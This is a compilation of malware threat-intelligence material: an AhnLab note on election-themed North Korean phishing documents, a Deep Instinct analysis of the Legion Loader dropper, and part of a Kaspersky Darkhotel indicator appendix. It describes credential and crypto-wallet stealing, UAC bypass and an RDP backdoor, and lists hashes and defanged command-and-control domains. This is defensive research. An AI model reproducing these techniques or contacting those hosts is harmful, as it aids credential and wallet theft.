Figure 1] ASD infrastructure collection TEMP\mx6.bat (path of batch file creation) https://asec.ahnlab.com/ko/32330/ 2/4 A similar type of attack was also confirmed on February 7th.
According to the article, the attacker impersonated the National Election Commission (NEC) and distributed malicious documents disguised as a normal document titled Public Recruitment of Counting Observers for the 20th Presidential Election.
North Korean hackers distributing malicious press releases under the guise of the National Election Commission  DailyNK It was found on the 8th that a North Korean hacking organization was distributing hacking e- mails impersonating the National Election Commission (NEC).
Considering the fact that the press release distributed by the National Election Commission was used, it is highly likely that the attack is being carried out targeting journalists in the media, so caution is required.
The common features of the malicious Hangul documents that were circulated at the time and the documents used in this attack are as follows.
Dissemination of malicious Korean documents disguised as the same institution (NEC) 3/4 Inducing Batch File Execution in OLE Object Way A PowerShell command containing a variable name ( kkx9 ) similar to the one used in the NEC impersonation attack on 2/7 ( kk y4 ) Part of the PowerShell command: ( kkx9 [DllImport(user32.dll)] public static extern bool ShowWindow(int handle, int state)) [Figure 2] Some of the collected PowerShell commands [Figure 3] below is a normal Korean document presumed to have been used by the attacker for distribution.
[
Figure 3] Normal Korean document (press release (220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conduct (final).hwp) 4/4 Normal official Korean documents can be found on the official website of the National Election Commission ( https://www.nec.go.kr/ ), and users should be skeptical when downloading similar documents from an unknown site.
https://www.nec.go.kr/cmm/dozen/view.do?cbIdx1090bcIdx164018fileNo1 (Document download address) The attackers seem to be carrying out various attacks impersonating the National Election Commission as the 20th presidential election approaches.
AhnLab continues to monitor similar malicious behaviors and will share new information as soon as it becomes available.
[
AhnLab V3 product correspondence] [Behavior Detection] Execution/MDP.Powershell.
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Categories: Malware information Tagged as: National Election Commission , Korean document https://www.nec.go.kr/ https://www.nec.go.kr/cmm/dozen/view.do?cbIdx1090bcIdx164018fileNo1 https://atip.ahnlab.com/main https://asec.ahnlab.com/ko/category/malware/ https://asec.ahnlab.com/tag/ec84a0eab480ec9c84/ https://asec.ahnlab.com/ko/tag/ed959ceab880ebacb8ec849c/
December 18, 2019 Untangling Legion Loaders Hornet Nest of Malware deepinstinct.com/2019/12/18/untangling-legion-loaders-hornet-nest-of-malware Malware often arrives hand in hand with other malware.
Emotet, for example, can deliver TrickBot and TrickBot (which is also in a collaborative relationship with IcedID, a fellow banking malware) can, in turn, deliver Ryuk.
This kind of collaborative relationship is becoming increasingly common among many threat actors, and in some cases even leads to actors developing specific modules in order to serve these relationships.
In a recent incident at a customer environment, Deep Instinct prevented a malicious dropper from infecting the customers environment.
Analysis of the dropper and the campaign it is associated with, revealed it involves multiple types of malware.
The quantity and variety of which, earned its reference as a Hornets Nest.
Included in this campaign is a grab-bag mix of multiple types of info-stealers, backdoors, a file-less crypto-currency stealer built into the dropper, and occasionally a crypto-miner as well.
Such volume and variety are uncommon in the general landscape and are highly suggestive of a dropper-for-hire campaign.
Caption: The hornets nest buried within Legion Loader 1/16 https://www.deepinstinct.com/2019/12/18/untangling-legion-loaders-hornet-nest-of-malware/ https://securityintelligence.com/the-business-of-organized-cybercrime-rising-Intergang-collaboration-in-2018/ The Dropper  Legion Loader The dropper, which since our initial prevention events has garnered the name of Legion Loader in various network intrusion and emerging-threats rule-sets, a name we find to be very appropriate.
Legion Loader is written in MS Visual C 8 (very likely by a Russian speaking individual) and shows signs of being in active development.
While Legion Loader features several VM/Sandbox (VMware, VBOX, etc.)
and research-tool evasions (Common debuggers, SysInternals utilities, etc.
),
in many cases it lacks string obfuscation which allows for fairly straightforward analysis.
2/16 Every dropper in the campaign, which is simultaneously targeted at both the United States and Europe, is intended to deliver 2-3 additional malware executables and features a built- in file-less crypto-currency stealer and browser-credential harvester.
Once Legion Loader is running, it initially checks-in with its designated CC server (the servers are rotated frequently, alongside the distributed droppers) and will terminate unless it receives an expected response: 3/16 Caption: Legion Loaders initial CC check-in.
Note the rather distinctive User-Agent string, this can vary to other amusing strings such as: It will then continue with an external-IP check: And will proceed to download and execute 2-3 hard-coded payloads, which are usually stored by the CC server and occasionally on a free-hosting resource: Caption: examples of hardcoded payload URLs, targeting US and EU.
Once executable payload downloads and execution is complete, Legion Loader will execute a lightly obfuscated PowerShell command that will deliver crypto-currency stealer and browser-credential harvester.
4/16 A Legion of Malware Legion Loaders campaign drew our attention due to the sheer variety of malware it delivers.
The majority of this body-of-malware is composed from fairly generic run-of-the-mill info- stealers such as Vidar, Predator the Thief and Racoon stealer, which are commercially available in various cybercrime marketplaces.
However, several pieces of malware did stand out among Legion Loaders rank-and-file, among these is its built-in Crypto-Currency stealer, and the other  an RDP backdoor.
The built-in Crypto-Stealer Following payload delivery Legion Loader will execute a PowerShell command (deobfuscated from above): This will send an HTTP POST request containing the string HorseHours, to the file-less components CC: The CC follows-up with more PowerShell code, designed to sweep the system for desirable articles of theft  installed crypto- currency wallets, and stored crypto- currency related credentials: 5/16 If any of these are found, it will make a copy of the operating systems PowerShell executable to a temp directory or to programfiles/Windows Locator/vsdll.exe if it has admin privileges (this is done to circumvent some security mechanisms), and will use it to execute an additional PowerShell snippet, similar to the first, which will again send an HTTP POST request containing HorseHours to the CC: Following this 2  check-in, the CC will issue more PowerShell code that will set-up the stealer.
This includes downloading and reflectively loading a .DLL which is used as part of its communication encryption routine: Once the stealer is set-up, it will download and reflectively load a browser credential harvester, the source-code for which can be found on GitHub: nd 6/16 https://github.com/djhohnstein/SharpWeb Finally, the harvested credentials and stolen wallet files are uploaded to the CC server.
The RDP Backdoor Another interesting malware we saw deployed by Legion Loader is an RDP-based backdoor.
The backdoor, which arrives in the form of an NSIS installer, employs an embedded blowfish .DLL to decrypt strings which form a cmd.exe command which executes a very large embedded PowerShell script entitled premiumlegitJFSQZPTTEU: The embedded premiumlegitJFSQZPTTEU script contains a very large DES encrypted blob which is decrypted and executed: The decrypted code, which employs a code borrowed from Invoke-PsUACme  a PowerShell module intended for UAC bypass, contains several gzip-compressed, base64 encoded blobs: 7/16 Caption: DllBytes32/64 variables containing UACme .DLLs which are used in order to bypass UAC.
Caption: gzip-compressed, base64 encoded blobs.
rdp blob is empty in this example.
vmt, clip and cfg blobs contain various ancillaries which are required in order to set up the RDP backdoor.
bot bot64 and rdp64 are the malicious payloads.
These blobs are decoded and decompressed using a set of contained functions and are deployed by the PowerShell code to programfiles/windows mail/appcache.xml or /default_list.xml, based on the executing machines operating system.
While the written files extension is .xml they are actually .DLL files.
Caption: contained function react is called to deploy the blob.
After the required .DLL containing blob has been deployed, it is registered as a system service: Conclusion Legion Loader is, as mentioned above, very aptly named and is a classic case-in-point of how even a relatively low-sophistication malware can become a security nightmare for an organization, employing more advanced file-less techniques and delivering a myriad of follow-up malware ranging for info-stealers and credential harvesters to crypto-miners and backdoors.
8/16 IOCs Legion Loader Samples (SHA256) 04682cf5670dfd8095d1fc9da7ff89f939c73a16c4ebe52dbff7afe5f1a8b89f 04cc0ee8b070e54522aa198b72b12498f338795b73ab2505004000b7566474df 08f5c172493ddbec42574914f6b504553029a56bf45b137b319f669348081abe 14d49f41892c667d0984db2809894c6d83c4d3c1cc78f1b81c5dc37a0f8c9c1c 1692b57a111f0269f3660cfddc50ff0e6187c79f73ee3cdcd4f337758e9b40ea 1a8076c2b19d84177f2fc06c3ad712794f5276b221c08dc1545e8f8cd3bbdd2a 1f7f9e40009e8fb16713a2d24039139d7ef910ce8d12b19df16172d01eb6110b 220fc8e1c518c7e51b03269a32cabdd18197ea449d57880fb4c45afebbd15971 2335f67565efe39a2fffd77a7c97996401847620a03091ef328505b8f07b0899 261c1a6e120970efc587047be377fee2ca77884b5c7db4cc3849b6adff340d82 262f5901d5463b9d191893b4873cd9e88d3c87f43e91d1f984d956167c063041 2891b08c134238beeb08582e3465d77c0fff2ac4bf2cd67162b7402b7246ace4 28c16cd88f6453a856690e5e2de96c656c404703361c7a9dfed804ec45dd4391 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30 2c5266c1053b343bcbd38d7bbfbf4a3b0be3d40b8f57320bed91b5ac26dacf30 2e3fac6fde0e4ea23a1ac808dc11986f62be096971759a36e64b846feb9ddaf9 2f1cb5d0c60b2ab9034ad7ae1ec79e28ddfa5628a90323a013e6285337368dcd 3080858d67dfa757fd27fa4dc3cfd521a8308b8698eeec6fb599fefd7903ef76 32467a0067ea899b925eca0f449f9751973cf1927f7f53df9ef07fa41745bdd1 3933da33446b776c22ea0e84b7cc3e93a122be7960985231027a3be80a068759 3d7442d4210e1422631fb89a19c29f74c75b1bbd8a1355067f8b6d53df8e4e97 40ebd67ff8278c9efc6aa90e9bd4221ed9155369c90ba25bfe699c2d418f6610 9/16 44a7a3f09fec710bf5ce94ae0c1ebf5a1b474d247049cbe5acde33f444ab95c1 474148a9521885361308d9c664ccbfbf523e02d61ee513bdb43e7c94db35eded 477c9070a41e27c715c1edfc75983b08bbd38eed5dbe592e335a59def8805b82 5150c5a557815359e3533781ae58d1c9f270a2f5cfe6353a1a09acb2b651e8d6 54a32aca91c9e377199ac9741b224d5ee09dc4ac67f6177bb4e9f336e5d178b2 62f73e351671b9b17a68f2658a88b810f6595a02e9ef2e55d06fd6fee05932ec 656b988e1b01eb39066d8d91dd5e64b96b75780c5bfb2edad4a9dec21258b01a 6870cd48b741e51187032fb0e3b29171c753cdf781e7585407a900853818bd9a 68ce4c27840a78ddd5d8203d351a2d8951cbe3fc124d8eee4eb9507df9b23355 696985a0b8af5dc318af712c410410c86df46eac80aa15b65e1b9d7a6801b0d6 6a7db2d291545ef2963cc9479406cf412f12d2ffaeed01bf48da7c3f0aa5206c 7308bed122bfdf2e57efa5eabb8191e0d04325d068a9ef731c157df24bb2c053 78d8dc01174f2d53c44b7a560f7ab532c0744136ffa6d9f6e30a09268e4d6214 7bbfeeeaed4234253b93ccd0fee869acbcb3be9cb1619e62e7375c5d072872cf 7f0cfe19a278dcfe60edb4a0b6edf898cf8fabfeda5d24c5bc16ae682c62212a 815fc066119f0ee3e387d4afeade832f43ab67321146258a8cbcddf175089bb3 8272ac4b57a686dea7f56f20703d9be056b2cf2c715e8d9ed475a9f0317acf15 8a213d1ce71dd072d6bbab31fcffdddcef285fe7dbfc04f41b60ad68056f8a95 8d6a289bd8f37b89194948bb1b111660015b7ef59dd3a6956c2ac13f0834b4a8 9443f6eb45bb7531660edc1298dad119a9f3ff117916a9b507dbd5ad568f1598 a880c587076db516f296b727e40c330527f7a2b07c4892f901b372cb2f248fe8 aa5d4c43d1849292d2a89fd32d8ebd8a966a6859a55596563b6dd2e7a3215c18 b80edd66f1e9a3cb3485c311e38b5f419d93c04bcc36d3040f2fc34850fea81c b8c19a4291da50c31ebd6e3eae610440746caa11863229dce9c47c1dc1b56ec8 10/16 bd61ebe590f41655fccfc5edb3f02a62a8ad3cbc0da709a34897a2cf4660dd1f c05d37f585b14c6293d7fb2cde9d96abc2ea9ee4c201cdf81a13bb35e0eee3fb c2fda41eb7326569ada6c4d739ac95ce68092dbf22a28ec8a4eb1751f42f8d9a c3608a8a066986e6881e164051813e1294952eb4eb8beddd2d67880586a00e62 c762b04e5c4f20fe1f0f179e031916e7f91419a8153fc236399430a28955879b ccf6d1b7d47d8357f30411b81b6fb088bd2fb475b28019995889c746f44144b0 d1a5131b0194a2e004fa82a8531548c8b880efd619b7ffe220a132b732878590 d4f2e466297be77e0f8efee83099f3e782877a1cba72c292cfd93d07f760dd5a d536cb602c3bb7ea7bdb70b6a4539ddbbe09ebd374b8bb3e501f6b8ba55af263 d730cc79aa420aa40b17b473ba7630cfbeda2ed8e9545bbbeb9057f208872b18 de0a08996532e8ae19dfcff3f2c2d18a3a54e904cda8c655c6d233afc7eecd12 e2b81bf2379dc693f82312026b420c45b4f3ea914b1272818e990af05d060645 e497bd74a134b10d6bd5385cd59fe4c60758bc5135c970422cb868e6f801ce02 e7bd5233b7284b50cdc40e9f3105d10aca695e5787dece60dfe6a4ffc4f77923 ed459c57355792778c4682671ee2df6e52d1f08ddfc2decab57179346f879eae f1c3649e5f680ba76643e0a83d2769bd55a2933b02ead9020556caf96af26c85 f3806426cc766cc99364e636aaded2933317459ebb78098e27d37203b3f1753d f381e639ebf723b8aea5238545c5b069e59d1c3ea9852dd835f9e783082d1576 f79e1578923cf520bee1183607c65c12a390498f6faea7d3af1d79af6fea26e1 f88a7a17b516505edc21c52756afa1302a3dd03402bf0006ada6472f76d540aa fcc5a956c6a26326d2ef51aa71f9996dc7e5003f332f24619464c5187b3008c2 Dropped Samples (SHA256) 056a2eb3925ea9a3933ed5c8e1b482eae5a098f013b1af751ec9b956edca12e1 0bae194c23b5fe3d73ccdf8267287c6e8fb66ed17cbdcce36c0da7583e8e6b49 11/16 0ce45db58b6f12dc8cfc4d9d94e0ed8f596a9175a804b24817f8b8f24d1ea72e 0ce93f4cb43f21920d1fc0b04122327cc12838ba909d70f58bb58fcc661482c8 0e22f00c71588b2cc1206a01ae11e5cccc70a2cef7d00317be9bd97c73249a3f 0e355775044e0618395724e91820f979fd792149a5c993b74db02d3ca27f18cb 0f12ea3082491a32a67086f12657fcb48d740cab22a568b25eb16635ceb4b9a9 10084850b03a65bc94899e41680e6207ab71c6b96a7bf65f6086fbba41cc7b5c 14494be156326c7c7ca62b7cdf60317e01792136d9fc0c83247a7ee2eeab6c00 1725a07286362ca6cb164b0f297bc4cea0c567d13b477c069ed3cea190e89090 1875678d1097f47c742b09428f570f65a834d1f81e06e336535bfa62633e562c 1c74add22536cd48afd35130b5c8e2904af5485aa0ee46aa9af9cb1793ab3bf4 1e0ca8506a8c6dece660e3508463cb2b4b7609bb8c42307a9ad6605ed5aec62f 2a4108922238e45a94bb7a16fd40db1f5b590ed9ba2f777eb67787488eecb1d7 2a4c9b7f6b74a6bbe80663c9fadb63f31a558ff396a174b75830547657e24dfb 2ddea6aac519844a3c3ea6faaca267b67cbc853b8708a9523d9aedab0e2086b4 3078f6416fb334304ad456b97bc7b2322cc3e9419f4dbbc7d0dd2a6c98be0061 30ee0ef8b2f6820f9a2bfd6622a80c9fa22a9a185a3e453c9393fa9eeaa117be 319fb28bdad36a09e693cc97649670c3fbd39df1cfec4ee20385e23092a97e4c 3a46bc6ba261a1404db05fceec9989912120ad68ecf1b1886134070f94e2246f 3f987e48220a80724d1de41d4bfb1d365ab9986a700f49e8acc7b4d53f5e6471 482c26795c473fd28033bd1009e8315c3df4edb3266742e890b928836e6f08e6 4c09f6650da6686ca72c43e998fbbd2ab0387f666345a0ca40910bf53d0d9927 4c5d3081981d5400f18cecc96489dabb987b8390c36b4ebc447b5cac37bb1a88 4f523cbbce05aaf69ca59aabb554125f9c8dbb44c95d715679516160c949fc23 4f71844ecf1f290983515abb75804e6a6615a37536acbd10f267679feecaa9fd 12/16 562e50801d7359bd5348a9b1d38f325cadb9ab9e298ff89c62e2d999ff826ce5 615626311e5585ca29b9d589fd213e8e1195f9c99c073e5aaf2bda6eeeb896f7 6532098adf0a7e43c46db0cb417a6e319b71764f613821b14ff247c9fb2efee7 69965fc0fb3884998567ec5e1693da58243248d44f9f8db6f11382566c6cd42f 70b636f7d49610856bf6abadb156697bd5e362da4962540133e88586e935c471 7709bb0c90a9cd174687ccf0911ed2ffeee18de4d9b78510a7530034b9141db9 793737c570e27b085ddbcd28c87d22b4ae0d3a6d092357705793cdf9678016cf 7ab3bb1e2783b8ddbb5581cde1cfb97fdf2c105ed0063a08abe2c2255d703315 811bded1035e8073b23470dd3d77ca85385a594a46dabc5892bb878e7148a0ac 84f6be18bb40cb9a3f08186e200492858b3265070629f917aa30d22ae125a712 8b763d5245d522987d5fba368b610147b7b602b0219fc31b6f3a5c90b37c173e 8ff13ca75a4d04587eebf32b66becfe90280690407d00c19eb7aaddc249f83cf 928cea1bc5bf99b0650c2f57133694d017f32c2337ad1fe50688bb3245041659 955ff926d734df2b9c7dd300fcdca0f3f2117b2d82719066a3c06041639c9c03 a153db1039abdc3c53db64939cde3b3da2fc6b04cdb5e02de67ef7ab837e5aac aa2b785cc249d4e41f5133cefbdb3da5484e63a18090fcc70da09dc5f1c7119b abdf3e9c36603953185d9ae75eef134941ab5c2e8407194cfe785cb95e254424 acc572e60a1b438236ed6eed53f1a173e47ca74841f43af30320e6282060dd0a adb47a69e4be076b7c625062fd33ed4d239ce9d5e38f233a6bb5c9b234121458 b165dce18dd17ead4984c506bb9d2861b4ac07775d6223735802e7b372211f80 b198bbc48a4a8bb2d8a393db390e31b317a7b1637215bc9e8e2c2ef2d23bd12f b79a4f6154e462de4de7c78373520d54388c0324d12e3c93dd50d637127efe35 b8db44f047337d9352ea04d6e4029c8817a6b5fc96c3b109e9522d615bc6580e bb39a5762493cd07009fe7495f33099df3d350f484cc0e8242ebdc173a0cf3a9 13/16 bcfb71a0fbebf4dc471e4e4de8a2326eee4cc2676e307a1eb4e0e9f3d254c2ee c6469fa0c5fcdddb53409ac98eca5a315d8230c7dd074437d61c9008d76e7d67 cbca8246cdf5bedad9bf98414211f26b1f46bbfbacd108b52cdb4f1a1a2d1cea cd9fd3eae8fa647d3c10734702e7c8aa812c0ec1e95fb9d54e1dd3900f24be97 d21ebbcbd03f3bd1b185a6d933e6865a63914aacdeed3304610f5180cf9014b2 d3e9a49b228f3f873b95990fac665279b75e17bbf7288c2d5e3d114240d96209 dcf61acaebeac3b4751fbcbc946524cbe709cdfed1b67fe7c4421e889296171d e27a5fe1c99fd2cd91fa0154fbbce0ff0c5d2de363038a839089054b2934dab4 e5372c3eeed59074c6346702c45b8ace7299a42ccce7cb7791b00f9fc8c4ca36 e71579ea4b6f003d359db2c53c224514aec83a70b61a5d3648a7647e4b3d2b81 eb33d6e5f19ae156e179a05382e42c7a5f576cbf73d27edf586d80412c241629 ee0a4e00992382159296ee165789910fc41b1bfebd702a724e783300e72ba027 f1ac98b76aec34e05930c0fe80c89c38edf3cd34657ed17bc414a6dbbd6553c3 f3674f3a2a9e24fba71e0c4db02d150128983d2199c62f3d43e7d2cf3186da93 f8a69b36bd8df897f9cf9895f77b57a98233b5a6819b26ea579efc63dd403a9f faa351658d25453883b47cc1aa6b7e530a375649155a73ed75073fb0b5edb120 fc19702f1749dc163c927d6f2016a71a867f66eb33a77f36beb566366c08c775 ff888f5eeb702d37e899c1d2d5c4b273edcc3e4e35bf8226014f4022fc9121a8 Legion Loader CC Domains http[:]//4tozahuinya2.info http[:]//craftupdate4.top http[:]//ddtupdate2.top http[:]//fastupdate2.me http[:]//fastupdate2.top 14/16 http[:]//fastupdate4.top http[:]//foxupdate2.me http[:]//gmsmz.top http[:]//kisshit2.info http[:]//lowupdate4.top http[:]//luxurious-crypto.com http[:]//myheroin2.info http[:]//nonstopporno1.info http[:]//ntupdate4.top http[:]//rrudate2.top http[:]//rrudate4.top http[:]//satantraff2.info http[:]//slupdate2.top http[:]//snupdate2.top http[:]//snupdate4.top http[:]//statinstall1.info http[:]//softupdate2.me http[:]//softupdate4.me http[:]//ssdupdate2.top http[:]//sslupdate2.top http[:]//sslupdate4.top http[:]//ssupdating.me http[:]//stnupdate2.me http[:]//suspiria2.info 15/16 http[:]//updateinfo4.top http[:]//upload-stat4.info http[:]//whereismyshit1.info http[:]//zdesnetvirusov2.info Built-in Crypto Stealer CC Domains http[:]//legion1488.info http[:]//legion17.top http[:]//legion17.net http[:]//legion17.best http[:]//legion17.com http[:]//legion17.info 16/16 Untangling Legion Loaders Hornet Nest of Malware Caption: The hornets nest buried within Legion Loader The Dropper  Legion Loader Caption: Legion Loaders initial CC check-in.
Caption: examples of hardcoded payload URLs, targeting US and EU.
A Legion of Malware Caption: DllBytes32/64 variables containing UACme .DLLs which are used in order to bypass UAC.
Caption: gzip-compressed, base64 encoded blobs.
rdp blob is empty in this example.
vmt, clip and cfg blobs contain various ancillaries which are required in order to set up the RDP backdoor.
bot bot64 and rdp64 are the malicious payloads.
Caption: contained function react is called to deploy the blob.
Conclusion IOCs
Darkhotel IndIcators of compromIse for more information, contact intelreportskaspersky.com Global research and analysis team Version 1.0 november, 2014 mailto:intelreports40kaspersky.com?subject 2 TLP: Green For any inquiries, please contact intelreportskaspersky.com contents appendix a - related md5s  ....................................................................................3 downloaders, injectors, infostealers  ..............................................................3 appendix B. fully Qualified domain names, command and control  ............... 12 appendix c. code-signing certificates  ............................................................... 17 appendix d. malcode technical notes  .............................................................. 58 small downloader  ......................................................................................... 58 technical details ...................................................................................... 58 Information stealer ........................................................................................ 60 technical details ...................................................................................... 60 trojan.
Win32.Karba.e .................................................................................... 64 technical notes ........................................................................................ 64 selective Infector ........................................................................................... 67 technical notes ........................................................................................ 67 trojan-dropper  Injector (infected legitimate files) .................................... 67 technical notes ........................................................................................ 67 enhanced Keyloggers and development ..................................................... 68 technical notes ........................................................................................ 68 Keylogger code .............................................................................................. 68 appendix e. parallel and previous research ..................................................... 73 mailto:intelreports40kaspersky.com?subject 3 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix a - related md5s downloaders, injectors, infostealers 000c907d39924de62b5891f8d0e03116 00ca5c0558dc9eba1a8a4dd639e74899 0183bac55ebfad2850a360d6cd93d941 0396f7af9842dc5c8c0df1a44c01068c 03a611a8c2f84e26c7b089d3f1640687 03d35ef3fdf353fe4dc65f3d11137172 043d308bfda76e35122567cf933e1b2a 04461ee7c724b6805820df79e343aa49 05059c5a5e388e36eed09a9f8093db92 061e3d50125dc78c86302b7cfa7e4935 06206fe97fed0f338fd02cb39ed63174 08a41624e624d8fb26eeed7a3b1f5009 08b04d6ef94d2764bfafd1457eb0d2a0 08e08522066a8cd7b494ca64de46d4f7 091e4364f50addd6c849f4399a771409 09e7b0ecd5530b8e87190dee0f362e13 0bd1677c0691c8a3c7327bf93b0a9e59 0bfbd26a1a6e3349606d37a8ece04627 0bfc8e7fa0b026a8bf51bbea3d766890 0cbd04c5432b6bfb29921177749f3015 0d75157d3f7fbf13264df3f8a18b3905 0fe3daf9e8b69255e592c8af97d24649 101244381e0590adecf5f2b18d1b6042 11e85a6e127802204561b6996d4224b6 121a9ea93f3ed16a1b191187b16b7592 12b88e36170472413a49ae71b1ac9a33 12df4869b3a885d71c8e871f1a1b0fde 1300244219cb756df01536692edebdbb 131c5f8e98605f9d8074ca02fd1b9c34 131c625a92dc721c5d4dae3fb65591fc 140b27db7d156d6a63281e1f6fc6075d 15097b11e3898cb0be995e44a79431f2 151115ddf1cd4b474a9106cfebcb82e4 16139ce9025274a388a4281fef65049e 16e378d5f0a15fbd521b087c0951a2ab 173abb95e39f03415cd95b76e8a2f58f mailto:intelreports40kaspersky.com?subject 4 TLP: Green For any inquiries, please contact intelreportskaspersky.com 1743dafa776677e232d20506858d9a4e 175aa0d1bdebfa60de29b90ab2c62189 178f7fe2d3a2bda46c0e78f679ca5a62 18527b303c0afe91f5ae86d34b52eb29 18527b303c0afe91f5ae86d34b52eb29 1971ee25847d246116835c7157cf7f89 1a2e52e5ac18cfe091bb3ac1cb38f050 1b0c2c6c19404112306a78ecf366f90b 1ec49ae6d535bfb3789d498f4fd0224f 1ee6676e122fcd22e80b6ae0dc40c979 1ef21e634f9779280710e87ff17a83af 1f29ec5ab8a7c2ccda21576f29cbb13b 1fcaa239cf4d627078179f6de299f320 2024679f61cf9ab60342eca58360737f 216088053dac46fcd95938568c469fa6 21792583ab4a7080ceaf2c31731b883e 21ba9d9d914d8140c1e34030e84213f4 236df260f858f9a6ca056bcdec6f754f 25102d64dbc9b6495c5713f3178dd7f1 26b34d3df337407c7618f74e9a82eb9f 26b7b5d019d7500efdb866f1d20d2000 275e0786b6294ffd05f45df435df842c 27db26077f849e26ba89fcafd2f0db92 27f2f32ba938b1747f28ffdd2f56c691 2802c47b48cced7f1f027f3b278d6bb3 28b1569109fcae8cfcdcfbe9c4431b66 2aac9d340620da09d96929ba570978c4 2b443cc331fec486a6ccbcfcd92e76a4 2be3a8dd0059e291022ad32bbce0e5d1 31e0788c9c2e16db1ae1002f0dbc837e 3260c9f881eb815b7ef3f5f295fc5174 326b44e73fccece89326fd865da61f7f 35a15355c96be225507ebed1ec434d57 378177ddc1fd7d213b79c033da26327d 38b919f37501fc3d54f8f1b956448a92 3961caB50c32e8f32fe45836B9715ce5 3961cab50c32e8f32fe45836b9715ce5 39fc4a3ea44ab9822ed5e77808803727 3f39c6dea5311167cc7ff62befd4ea7e 41b816289a6a639f7f2a72b6c9e6a695 5 TLP: Green For any inquiries, please contact intelreportskaspersky.com 41b816289a6a639f7f2a72b6c9e6a695 428eb3305d4d4c9a8831e1d54160ed65 42a3bb917778454fa96034ad4fb17832 42b9fea2ec56a90cefeecee3c84aade0 436b853cbc87ba3a99131ce2d64a512d 44300d48fccd5aaf27f4c863421c0d47 44e520bec8a3e35f6f6ad52e97911e14 45a4c8c01ec94e1db83b86e05dc9e851 45b94e90cab94d9f873478151a80703d 48888cca68db492c87892524146e8ae3 4d275adbd318f182fa0ec0275cf217b4 4d840625c5ca9a4f1cbd35d4b1ca2452 4f377a8344baa76afe9103ca843e315f 4fc1b3dbf9dc44278f990d57913d96f6 50ac685d25033962e04adc92c8e70785 51c1b9b3df00de5e08c4aa3a2b864a54 51d3e2bd306495de50bfd0f2f4e19ae9 51eaec282b845bc54dbd4fbce5bb09d8 522cd120fa4b1517a60fcf8be3e71ff4 53dc9866fd77fe4933eea3c08666c7bb 55b125da1310d2b37f18ea4e2ae8192b 5607a3ccdaf748fd5cd2d1bec4a771bd 57099403f28d2ce79cba11469c8be971 57dfd2ec5401d9a3d68b4d125e1eb308 5b7b8d3b844b4dbc22875a2a6866a862 5bbdb09ec6ec333a20de74fd430b2bc2 5dee5ad9f12f89fcf9fdcf07ebab3e5e 5f05acd53cfd91fb4dba3660ad1e3add 60af79fb0bd2c9f33375035609c931cb 63409ddbd5316bae8e956595c81121ab 65460ec31dce97c456991ba5215d9c43 686738eb5bb8027c524303751117e8a9 687b8d2112f25e330820143ede7fedce 68ca3d3fc4901d1af8d3adc3170af6ad 697e77c5ef4cf91d5a84b0b3f0617887 6a37ba1bac5fb990fbd1c34effcb0b9d 6bb1a12416c92f5ef12947e2dc5748f9 6ce73a81f0e4a41ffcf669e6ace29db6 6de1b481ae52fbacd7db84789a081b74 6f1a828a2490099a3ce9f873823cce7c 6 TLP: Green For any inquiries, please contact intelreportskaspersky.com 70a0412d19d55bcab72e76c984694215 72869fc63d0ba875dfc539d2bcd48e4d 74d403244db05f7c294ca0777a9f7a9e 76dd289fa3dd8f36972593a006b771cc 77669d11c3248a6553d3c15cd1d8a60e 7bab3a69ab65b90e47d5cc0724531914 7c2eeda3bb66b2c29aa425ba74c780c3 7d304a9cdcda75b1cb9537618f5ed398 804dceb3fa2b9bcf65595109b9465bbc 82ab0b8246c6677f9866b17794b72e2d 864cd4a59215a7db2740dfbe4a648053 86b18e99072ba72d5d36bce9a00fc052 89de19ff50dd58eda2b136b65feb3fb0 8c01d9a2c13ebc8dc32956336a6bc4f5 8f7a7d003cafa56c63e9402f553f9521 90f26c5c4b3c592352fcbddf41dc18aa 910a1f150a5de21f377cf771ed53261f 912a8c7cf1ad78cd4543bfb594c7db58 9a2f2291686080a29f4c68bdc530887f 9bc355cbb5473f4f248f3e2be028ec0b 9c5cd8f4a5988acae6c2e2dce563446a 9ccc7ce97f8ee0cd44d607e688b99eca 9eeae870f22350694eb2e7a4852dbb7d 9f08b8182c987181fe3f3906f7463eac a44577e8c77ef3c30749fe6ec2bb55a5 a49780f2da2067dd904135fad3af8a90 a71f240abb41eb1e37ff240613d14277 a7b226c220e1282320fca291a5100f93 a8151939085ce837b3a7deec58efa7b4 a9faa01c7cf7150054600fc2ab63e4b6 aaeb3b0651720a3f37a0c2f57c92429c abdcde9cd1f9135e412f7bb0a9cafbc9 ad0f9ba1a355c5e8048c476736c90217 af26f60a80171c4337117133f1c2ba5f b07f6065011621c569fc2decd27056df b1048d7d2464f27a19b2adbf310158b1 b2b29dcb1251c8b1c380f00834297857 b4cbafc20d19b06a4ab670129a3ae5aa b6428851df75dc91bb46583b97d9a566 b7d1c3a03e92b24e9052e75ea381ea4a 7 TLP: Green For any inquiries, please contact intelreportskaspersky.com ba87428a298f8acf258b2f4f814bd9b9 be7acfaf90c8fab44393345704dd2b69 bf700fa187cc22d591e1ec4e7442145a c12fe91f0c39c2460ea304ffc250918d c322e499729291451437d46c6f05b920 c49e6114fa3de4f823010e852d891896 c4ac4924544877cd100e53f1115c7df9 c5a9ec966196a03e53fd1869764d8507 c6cbb4ea6aabf4a58659cd13fa0b024f c82ca00476d7e8532d055bf2cc2c9d59 c9f95fc8219750b7c47325a0b84e9373 cdd5afba31e91706412ba58fff2b4d31 cf95ab8c4cc222088de00dbb20374d69 d580cab0c05dd78215fd6252934c240f d96babbde694df227a9af4b4b61483b3 da608f216594653a1716edd5734cd6e1 da6c390915639c853612cb665ac635f4 da6ed3cc582b4424c96b8ca73aaeb8ad dd555740dcabb3dab3ea1fc71273e493 e070293d03cd3524e5db9fa4770589a5 e2ed43a6bbb72c927a4e083768e47254 e271ba345eada5f56471c5413acf52f9 e2b5c47156508a31b74a1f48e814fbe7 e579157fb503b5cbd59ce66f5381575c e5a31be7717c12a3cf9a173428ac7c38 e62af1303ed81f1ae69a1c3b1f215d88 e65fddac2ada261adcdcde87b4dc5540 e9f89d406e32ca88c32ac22852c25841 ec4be1af573e5c55023b35bd02efe394 ed2119548aff161ff97d6837e6a08e84 ed9f539ddabdab8a88491ee38f638b64 ede6a67f7956686f753819c46f496c84 f1368a2e56ae66587847a1655265d3c9 f2231ce84551fbd8a57e75fb07d7f6c0 f47cdf5bfc7227382e18f8361249212b f5d745e7a575b7aecae302623acd6277 f602fe96deb8615ab8cefbd959e1d438 f7084cf91278eb8176c815ec4e269851 f97ec1cc844914a9aa8dfa00d1ead62e fe7efa9f0417ba001c058b513518f4cf 8 TLP: Green For any inquiries, please contact 